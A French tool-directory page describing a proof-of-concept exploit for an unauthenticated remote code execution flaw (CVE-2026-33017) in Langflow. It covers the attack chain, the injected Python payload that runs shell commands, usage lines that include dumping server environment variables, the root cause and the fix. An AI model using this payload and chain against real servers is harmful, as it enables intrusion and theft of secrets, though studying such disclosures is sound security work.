Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/r3nsi15/cve-2026-33017-langflow-rce
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHubr3nsi15/cve-2026-33017-langflow-rce

CVE-2026-33017-langflow-rce

Preuve de concept d'exploitation pour CVE-2026-33017 démontrant une exécution de code à distance non authentifiée dans Langflow via une injection malveillante de CustomComponent à travers des points de terminaison de build publics.

Voir le dépôt
2il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33017 — Langflow Exécution de code à distance (RCE) non authentifiée

Aperçu

Identifiant CVE : CVE-2026-33017
Logiciel concerné : Langflow Versions vulnérables : <= 1.8.2 Version corrigée : >= 1.9.0 Gravité : Critique
Auteur : r3nsi15
Date : 2026

Description

Langflow expose un point de terminaison public de construction de flux (/api/v1/build_public_tmp/{flowID}/flow) qui accepte des blocs de code CustomComponent arbitraires et les exécute côté serveur sans authentification. En injectant une charge utile Python malveillante dans le champ code d'un nœud CustomComponent, un attaquant non authentifié peut exécuter des commandes système arbitraires avec les privilèges du processus serveur Langflow.

La chaîne d'attaque exploite d'abord le point de terminaison /api/v1/auto_login, qui délivre un jeton Bearer sans nécessiter d'identifiants lorsque Langflow fonctionne dans sa configuration de connexion automatique par défaut. Ensuite, elle utilise ce jeton pour créer un flux public temporaire et déclencher l'exécution de code côté serveur via le point de terminaison de construction.

Points de terminaison concernés

Point de terminaisonMéthodeAuthentification requiseObjectif
/api/v1/auto_loginGETNonObtenir un jeton Bearer (la connexion automatique doit être activée)
/api/v1/flows/POSTOui (Bearer)Créer un nouveau flux
/api/v1/build_public_tmp/{flowID}/flowPOSTNon (public)Déclencher la construction — point d'exécution vulnérable
/api/v1/flows/{flowID}DELETEOui (Bearer)Nettoyer le flux créé

Preuve de concept

Fichier : CVE-2026-33017_POC.py

Prérequis

  • Python 3.x
  • Bibliothèque requests
  • Accès réseau à une instance Langflow fonctionnant avec la connexion automatique activée
root@kitploit:~
pip install requests

Utilisation

root@kitploit:~
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

Arguments

DrapeauForme longueRequisDescription
-u--urlOuiURL de base de l'instance Langflow
-c--commandOuiCommande système à exécuter sur le serveur
-d--deleteNonSupprimer le flux créé après l'exploitation

Exemples

Vérifier l'exécution de code :

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

Récupérer les variables d'environnement du serveur :

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

Conserver le flux après exploitation (ignorer le nettoyage) :

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

Sortie attendue

root@kitploit:~
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

Analyse de la charge utile

L'exploit injecte l'extrait Python suivant dans le champ code d'un nœud CustomComponent :

root@kitploit:~
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) - importe dynamiquement le module os et exécute la commande shell fournie par l'attaquant sur le serveur.
  • Le reste de la définition de classe est un CustomComponent valide nécessaire pour satisfaire le chargeur de composants de Langflow sans provoquer d'erreur d'analyse.
  • Le flux est créé en tant que PUBLIC et le point de terminaison de construction est invoqué sur son point de terminaison public, ce qui signifie qu'aucun cookie de session ni jeton d'authentification n'est requis pour déclencher l'exécution.

Cause racine

Le système CustomComponent de Langflow permet de soumettre du code Python arbitraire dans le cadre d'une définition de flux. Le point de terminaison /api/v1/build_public_tmp/{flowID}/flow construit et évalue partiellement ce code côté serveur, y compris les instructions au niveau du module, sans sandboxing ni restriction d'accès aux fonctions intégrées de Python telles que __import__.

Résumé de la chaîne d'attaque

root@kitploit:~
1. GET /api/v1/auto_login          →  Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/             →  Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/  →  Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id}       →  Clean up (optional)

Les quatre étapes peuvent être réalisées par un attaquant anonyme contre un déploiement Langflow par défaut.

Correctif

  • Mettez à jour Langflow vers la version 1.9.0 ou supérieure.
  • Désactivez la connexion automatique (LANGFLOW_AUTO_LOGIN=false) dans tout déploiement exposé à Internet.

Avertissement

Cette preuve de concept est fournie uniquement à des fins éducatives et de recherche en sécurité autorisée. L'utilisation de ce script contre des systèmes sans autorisation écrite explicite est illégale et contraire à l'éthique. L'auteur et les contributeurs déclinent toute responsabilité en cas d'utilisation abusive.

Télécharger l’outil